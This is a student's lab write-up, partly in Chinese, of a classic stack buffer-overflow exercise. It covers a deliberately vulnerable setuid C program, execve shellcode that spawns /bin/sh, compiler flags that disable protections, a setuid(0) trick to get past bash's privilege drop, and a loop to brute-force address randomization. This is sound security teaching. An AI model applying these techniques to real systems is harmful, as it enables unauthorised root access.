Task 1: Exploiting the Vulnerability

We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.
Pro: 网安实验Lab2-bufferoverflow - 图1
Pro: 网安实验Lab2-bufferoverflow - 图2
After you finish the above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:
Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the default Stack Guard protection enabled.

  1. $ gcc -o exploit exploit.c
  2. $./exploit// create the badfile
  3. $./stack// launch the attack by running the vulnerable program
  4. # <---- Bingo! You’ve got a root shell!

编译运行call_shellcode.c:

  1. gcc call_shellcode.c -o call -z execstack -fno-stack-protector -m32

Pro: 网安实验Lab2-bufferoverflow - 图3
关闭所有保护机制:

  1. gcc stack.c -o stack -fno-stack-protector -z execstack -no-pie -m32

Pro: 网安实验Lab2-bufferoverflow - 图4
确定溢出偏移__:
Pro: 网安实验Lab2-bufferoverflow - 图5
Pro: 网安实验Lab2-bufferoverflow - 图6
Pro: 网安实验Lab2-bufferoverflow - 图7
确定shellcode入口地址: 0xffffce28 \x28\xce\xff\xff
Pro: 网安实验Lab2-bufferoverflow - 图8
编译并生成__badfile:
Pro: 网安实验Lab2-bufferoverflow - 图9
Pro: 网安实验Lab2-bufferoverflow - 图10
运行./stack, 提示非法指令(核心已转储):
Pro: 网安实验Lab2-bufferoverflow - 图11
使用gdb调试:
Pro: 网安实验Lab2-bufferoverflow - 图12
单步执行,顺利进入滑板nop
Pro: 网安实验Lab2-bufferoverflow - 图13
直到push ebx这个指令指令变成了add BYTE PTR [eax],al,然后就无法继续执行了,不知道什么原因。
Pro: 网安实验Lab2-bufferoverflow - 图14
Pro: 网安实验Lab2-bufferoverflow - 图15
经过仔细调试,发现可能是由于shellcode的几次push操作覆盖了shellcode本身,所以可以尝试在执行shellcode之前抬高栈帧。
Pro: 网安实验Lab2-bufferoverflow - 图16
Pro: 网安实验Lab2-bufferoverflow - 图17
使用gdb能运行成功,使用./stack提示段错误。应该还是受到argv对栈帧偏移的影响,虽然关闭了ASLR。
Pro: 网安实验Lab2-bufferoverflow - 图18
参考了网上的代码,发现还可以这样借用nop,将nop填充到栈区高处,增加shellcode被执行的概率。修改后的exploit.c如下:
Pro: 网安实验Lab2-bufferoverflow - 图19

Pro: 网安实验Lab2-bufferoverflow - 图20
It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

  1. # id
  2. uid=(500) euid=0(root)

Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

  1. void main()
  2. {
  3. setuid(0);
  4. }

Task 2: Protection in /bin/bash

Now, we let /bin/sh point back to /bin/bash, and run the same attack developed in the previous task. Can you get a shell? Is the shell the root shell? What has happened? You should describe your observation and explaination in your lab report.

  1. $ su root
  2. Password: (enter root password)
  3. # cd /bin
  4. # rm sh
  5. # ln -s bash sh // link /bin/sh to /bin/bash
  6. # exit
  7. $./stack // launch the attack by running the vulnerable program

Pro: 网安实验Lab2-bufferoverflow - 图21
如果修改为bash,只能得到普通用户的shell,无法得到root shell,bash的保护机制使得set-uid 也无法得到root shell。
There are ways to get around this protection scheme. You need to modify the shellcode to achieve this. We will give 10 bonus points for this attack. Hint: although /bin/bash has restriction on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the current Set-UID process into a real root process, before invoking /bin/bash, you can bypass the restriction of bash. The setuid() system call can help you achieve that.
setuid()在32位linux系统调用号为:23 == 0x17
setuid()在64位Linux系统调用号为:105 == 0x69
image.png
若在调用shell前先setuid(0),可以得到root shell。(汇编有bug没有调出来,直接在c里写的setuid(0))。
Pro: 网安实验Lab2-bufferoverflow - 图23


Task 3: Address Randomization

Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

  1. $ su root
  2. Password: (enter root password)
  3. # /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

  1. $ sh -c "while [ 1 ]; do ./stack; done;"

开启地址随机化,运行了几分钟,getshell:
Pro: 网安实验Lab2-bufferoverflow - 图24


Task 4: Stack Guard

So far, we disabled the “Stack Guard” protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without the -fno-stack-protector’ option. For this task, you will recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable Stack Guard.
Pro: 网安实验Lab2-bufferoverflow - 图25
未开启栈保护机制bof函数的反汇编:
Pro: 网安实验Lab2-bufferoverflow - 图26
开启栈保护机制bof函数的反汇编:
Pro: 网安实验Lab2-bufferoverflow - 图27
可见开启了栈保护机制的程序中代码更多,在函数最后调用了__stack_chk_fail_local对栈区canary进行了检查,检测到了溢出就终止程序。


code

  1. /* stack.c */
  2. /* This program has a buffer overflow vulnerability. */
  3. /* Our task is to exploit this vulnerability */
  4. #include <stdlib.h>
  5. #include <stdio.h>
  6. #include <string.h>
  7. int bof(char *str)
  8. {
  9. char buffer[24];
  10. /* The following statement has a buffer overflow problem */
  11. strcpy(buffer, str);
  12. return 1;
  13. }
  14. int main(int argc, char **argv)
  15. {
  16. char str[517];
  17. FILE *badfile;
  18. badfile = fopen("badfile", "r");
  19. fread(str, sizeof(char), 517, badfile);
  20. bof(str);
  21. printf("Returned Properly\n");
  22. return 1;
  23. }
  1. /* exploit.c */
  2. /* A program that creates a file containing code for launching shell*/
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <string.h>
  6. char shellcode[]=
  7. "\x31\xc0" /* xorl %eax,%eax */
  8. "\x50" /* pushl %eax */
  9. "\x68""//sh" /* pushl $0x68732f2f */
  10. "\x68""/bin" /* pushl $0x6e69622f */
  11. "\x89\xe3" /* movl %esp,%ebx */
  12. "\x50" /* pushl %eax */
  13. "\x53" /* pushl %ebx */
  14. "\x89\xe1" /* movl %esp,%ecx */
  15. "\x99" /* cdq */
  16. "\xb0\x0b" /* movb $0x0b,%al */
  17. "\xcd\x80" /* int $0x80 */
  18. ;
  19. void main(int argc, char **argv)
  20. {
  21. char buffer[517];
  22. FILE *badfile;
  23. /* Initialize buffer with 0x90 (NOP instruction) */
  24. memset(&buffer, 0x90, 517);
  25. /* You need to fill the buffer with appropriate contents here */
  26. /* Save the contents to the file "badfile" */
  27. badfile = fopen("./badfile", "w");
  28. fwrite(buffer, 517, 1, badfile);
  29. fclose(badfile);
  30. }